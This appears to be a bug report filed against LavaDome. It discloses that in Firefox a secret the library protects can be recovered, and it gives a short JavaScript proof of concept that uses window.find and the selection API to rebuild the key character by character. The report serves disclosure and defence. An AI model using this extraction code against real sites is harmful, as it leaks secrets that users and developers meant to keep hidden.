LavaDome is vulnerable to selection API #15
Description
When running in Firefox, Secret protected by LavaDome can easily be leaked.
- Visit the demo using Firefox
- Open console and run the code below, see how full key is obtained by code
setTimeout(()=>{
document.body.prepend('xxx');
const result = [];
for (const l of 'abcdefghijklmnopqrstuvwxyz0123456789') {
while (find(l)) {
const anchor = getSelection().anchorNode;
const host = anchor?.parentNode?.parentNode?.host;
if (host instanceof HTMLElement) {
const at = Array.from(host.parentElement.children).indexOf(host);
result[at] = l;
}
}
window.find('xxx', false, true);
}
console.log('key', result.join(''));
}
, 1000);